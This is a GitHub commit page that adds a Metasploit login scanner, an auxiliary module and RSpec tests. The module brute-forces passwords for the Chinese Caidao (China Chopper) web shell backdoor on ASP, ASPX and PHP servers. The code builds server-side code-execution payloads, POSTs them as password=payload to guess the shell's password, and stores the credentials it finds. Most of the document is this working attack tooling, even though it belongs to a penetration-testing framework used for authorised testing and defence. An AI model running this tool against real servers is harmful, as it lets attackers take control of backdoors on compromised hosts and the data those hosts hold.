Skip to content

Commit 6e65d1d

Browse files
committed
Land rapid7#6411, chinese caidao asp/aspx/php backdoor bruteforce
2 parents d23119a + 92503c0 commit 6e65d1d

File tree

3 files changed

+380
-0
lines changed

3 files changed

+380
-0
lines changed
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
7+
# Chinese Caidao login scanner
8+
class Caidao < HTTP
9+
# Inherit LIKELY_PORTS, LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
10+
DEFAULT_PORT = 80
11+
PRIVATE_TYPES = [ :password ]
12+
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
13+
14+
# Checks if the target is Caidao Backdoor. The login module should call this.
15+
#
16+
# @return [Boolean] TrueClass if target is Caidao, otherwise FalseClass
17+
def check_setup
18+
@flag ||= Rex::Text.rand_text_alphanumeric(4)
19+
@lmark ||= Rex::Text.rand_text_alphanumeric(4)
20+
@rmark ||= Rex::Text.rand_text_alphanumeric(4)
21+
22+
case uri
23+
when /php$/mi
24+
@payload = "$_=\"#{@flag}\";echo \"#{@lmark}\".$_.\"#{@rmark}\";"
25+
return true
26+
when /asp$/mi
27+
@payload = 'execute("response.write(""'
28+
@payload << "#{@lmark}"
29+
@payload << '""):response.write(""'
30+
@payload << "#{@flag}"
31+
@payload << '""):response.write(""'
32+
@payload << "#{@rmark}"
33+
@payload << '""):response.end")'
34+
return true
35+
when /aspx$/mi
36+
@payload = "Response.Write(\"#{@lmark}\");"
37+
@payload << "Response.Write(\"#{@flag}\");"
38+
@payload << "Response.Write(\"#{@rmark}\")"
39+
return true
40+
end
41+
false
42+
end
43+
44+
def set_sane_defaults
45+
self.method = "POST" if self.method.nil?
46+
end
47+
48+
# Actually doing the login. Called by #attempt_login
49+
#
50+
# @param username [String] The username to try
51+
# @param password [String] The password to try
52+
# @return [Hash]
53+
# * :status [Metasploit::Model::Login::Status]
54+
# * :proof [String] the HTTP response body
55+
def try_login(username, password)
56+
res = send_request(
57+
'method' => method,
58+
'uri' => uri,
59+
'data' => "#{password}=#{@payload}"
60+
)
61+
62+
unless res
63+
return { :status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s }
64+
end
65+
66+
if res && res.code == 200 && res.body.to_s.include?("#{@lmark}#{@flag}#{@rmark}")
67+
return { :status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.to_s }
68+
end
69+
70+
{ :status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.to_s }
71+
end
72+
73+
# Attempts to login to Caidao Backdoor. This is called first.
74+
#
75+
# @param credential [Metasploit::Framework::Credential] The credential object
76+
# @return [Result] A Result object indicating success or failure
77+
def attempt_login(credential)
78+
result_opts = {
79+
credential: credential,
80+
status: Metasploit::Model::Login::Status::INCORRECT,
81+
proof: nil,
82+
host: host,
83+
port: port,
84+
protocol: 'tcp'
85+
}
86+
87+
if ssl
88+
result_opts[:service_name] = 'https'
89+
else
90+
result_opts[:service_name] = 'http'
91+
end
92+
93+
begin
94+
result_opts.merge!(try_login(credential.public, credential.private))
95+
rescue ::Rex::ConnectionError => e
96+
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
97+
end
98+
Result.new(result_opts)
99+
end
100+
end
101+
end
102+
end
103+
end
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/credential_collection'
8+
require 'metasploit/framework/login_scanner/caidao'
9+
10+
class Metasploit4 < Msf::Auxiliary
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::AuthBrute
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Chinese Caidao Backdoor Bruteorce',
19+
'Description' => 'This module attempts to brute chinese caidao asp/php/aspx backdoor.',
20+
'Author' => [ 'Nixawk' ],
21+
'References' => [
22+
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
23+
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'],
24+
['URL', 'https://www.exploit-db.com/docs/27654.pdf'],
25+
['URL', 'https://www.us-cert.gov/ncas/alerts/TA15-313A'],
26+
['URL', 'http://blog.csdn.net/nixawk/article/details/40430329']
27+
],
28+
'License' => MSF_LICENSE
29+
))
30+
31+
register_options(
32+
[
33+
OptString.new('TARGETURI', [true, 'The URL that handles the login process', '/caidao.php']),
34+
OptPath.new('PASS_FILE', [
35+
false,
36+
'The file that contains a list of of probable passwords.',
37+
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
38+
])
39+
], self.class)
40+
41+
# caidao does not have an username, there's only password
42+
deregister_options('USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS')
43+
end
44+
45+
def scanner(ip)
46+
@scanner ||= lambda {
47+
cred_collection = Metasploit::Framework::CredentialCollection.new(
48+
blank_passwords: datastore['BLANK_PASSWORDS'],
49+
pass_file: datastore['PASS_FILE'],
50+
password: datastore['PASSWORD'],
51+
# The LoginScanner API refuses to run if there's no username, so we give it a fake one.
52+
# But we will not be reporting this to the database.
53+
username: 'caidao'
54+
)
55+
56+
return Metasploit::Framework::LoginScanner::Caidao.new(
57+
configure_http_login_scanner(
58+
host: ip,
59+
port: datastore['RPORT'],
60+
uri: datastore['TARGETURI'],
61+
cred_details: cred_collection,
62+
stop_on_success: datastore['STOP_ON_SUCCESS'],
63+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
64+
connection_timeout: 5
65+
))
66+
}.call
67+
end
68+
69+
def report_good_cred(ip, port, result)
70+
service_data = {
71+
address: ip,
72+
port: port,
73+
service_name: 'http',
74+
protocol: 'tcp',
75+
workspace_id: myworkspace_id
76+
}
77+
78+
credential_data = {
79+
module_fullname: self.fullname,
80+
origin_type: :service,
81+
private_data: result.credential.private,
82+
private_type: :password,
83+
}.merge(service_data)
84+
85+
login_data = {
86+
core: create_credential(credential_data),
87+
last_attempted_at: DateTime.now,
88+
status: result.status,
89+
proof: result.proof
90+
}.merge(service_data)
91+
92+
create_credential_login(login_data)
93+
end
94+
95+
def report_bad_cred(ip, rport, result)
96+
invalidate_login(
97+
address: ip,
98+
port: rport,
99+
protocol: 'tcp',
100+
private: result.credential.private,
101+
realm_key: result.credential.realm_key,
102+
realm_value: result.credential.realm,
103+
status: result.status,
104+
proof: result.proof
105+
)
106+
end
107+
108+
# Attempts to login
109+
def bruteforce(ip)
110+
scanner(ip).scan! do |result|
111+
case result.status
112+
when Metasploit::Model::Login::Status::SUCCESSFUL
113+
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential.private}'")
114+
report_good_cred(ip, rport, result)
115+
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
116+
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
117+
report_bad_cred(ip, rport, result)
118+
when Metasploit::Model::Login::Status::INCORRECT
119+
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential.private}'")
120+
report_bad_cred(ip, rport, result)
121+
end
122+
end
123+
end
124+
125+
def run_host(ip)
126+
unless scanner(ip).check_setup
127+
print_brute(:level => :error, :ip => ip, :msg => 'Backdoor type is not support')
128+
return
129+
end
130+
131+
bruteforce(ip)
132+
end
133+
end
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
require 'spec_helper'
2+
require 'metasploit/framework/login_scanner/caidao'
3+
4+
RSpec.describe Metasploit::Framework::LoginScanner::Caidao do
5+
6+
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
7+
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
8+
9+
subject do
10+
described_class.new
11+
end
12+
13+
describe '#check_setup' do
14+
context 'when uri is php' do
15+
before do
16+
allow(subject).to receive(:uri).and_return('php')
17+
end
18+
19+
it 'returns true' do
20+
expect(subject.check_setup).to be_truthy
21+
end
22+
23+
it 'creates a php payload' do
24+
subject.check_setup
25+
expect(subject.instance_variable_get(:@payload)).to include(';echo ')
26+
end
27+
end
28+
29+
context 'when uri is asp' do
30+
before do
31+
allow(subject).to receive(:uri).and_return('asp')
32+
end
33+
34+
it 'returns true' do
35+
expect(subject.check_setup).to be_truthy
36+
end
37+
38+
it 'creates an asp payload' do
39+
subject.check_setup
40+
expect(subject.instance_variable_get(:@payload)).to include('execute("response.write(')
41+
end
42+
end
43+
44+
context 'when uri is aspx' do
45+
before do
46+
allow(subject).to receive(:uri).and_return('aspx')
47+
end
48+
49+
it 'returns true' do
50+
expect(subject.check_setup).to be_truthy
51+
end
52+
53+
it 'creates an aspx payload' do
54+
subject.check_setup
55+
expect(subject.instance_variable_get(:@payload)).to include('Response.Write')
56+
end
57+
end
58+
59+
context 'when uri is unexpected' do
60+
before do
61+
allow(subject).to receive(:uri).and_return('html')
62+
end
63+
64+
it 'returns false' do
65+
expect(subject.check_setup).to be_falsy
66+
end
67+
68+
it 'creates no payload' do
69+
expect(subject.instance_variable_get(:@payload)).to be_nil
70+
end
71+
end
72+
end
73+
74+
describe '#try_login' do
75+
let(:username) do
76+
'username'
77+
end
78+
79+
let(:password) do
80+
'password'
81+
end
82+
83+
context 'when the response is nil' do
84+
before do
85+
allow(subject).to receive(:send_request).and_return(nil)
86+
end
87+
88+
it 'returns a hash' do
89+
expect(subject.try_login(username, password)).to be_kind_of(Hash)
90+
end
91+
92+
it 'returns the UNABLE_TO_CONNECT status in the hash' do
93+
expect(subject.try_login(username, password)[:status]).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
94+
end
95+
end
96+
97+
context 'when the response includes our flag' do
98+
before do
99+
allow(subject).to receive(:uri).and_return('php')
100+
subject.check_setup
101+
lmark = subject.instance_variable_get(:@lmark)
102+
flag = subject.instance_variable_get(:@flag)
103+
rmark = subject.instance_variable_get(:@rmark)
104+
res = Rex::Proto::Http::Response.new
105+
res.code = 200
106+
res.body = "#{lmark}#{flag}#{rmark}"
107+
allow(subject).to receive(:send_request).and_return(res)
108+
end
109+
110+
it 'returns a hash' do
111+
expect(subject.try_login(username, password)).to be_kind_of(Hash)
112+
end
113+
114+
it 'returns the SUCCESSFUL status in the hash' do
115+
expect(subject.try_login(username, password)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
116+
end
117+
end
118+
119+
context 'when the response does not include our flag' do
120+
before do
121+
allow(subject).to receive(:uri).and_return('html')
122+
res = Rex::Proto::Http::Response.new
123+
allow(subject).to receive(:send_request).and_return(res)
124+
subject.check_setup
125+
end
126+
127+
it 'returns a hash' do
128+
expect(subject.try_login(username, password)).to be_kind_of(Hash)
129+
end
130+
131+
it 'returns the INCORRECT status in the hash' do
132+
expect(subject.try_login(username, password)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT)
133+
end
134+
end
135+
end
136+
137+
describe '#attempt_login' do
138+
context 'when a login is attempted' do
139+
it 'returns a Result object' do
140+
end
141+
end
142+
end
143+
144+
end

0 commit comments

Comments
 (0)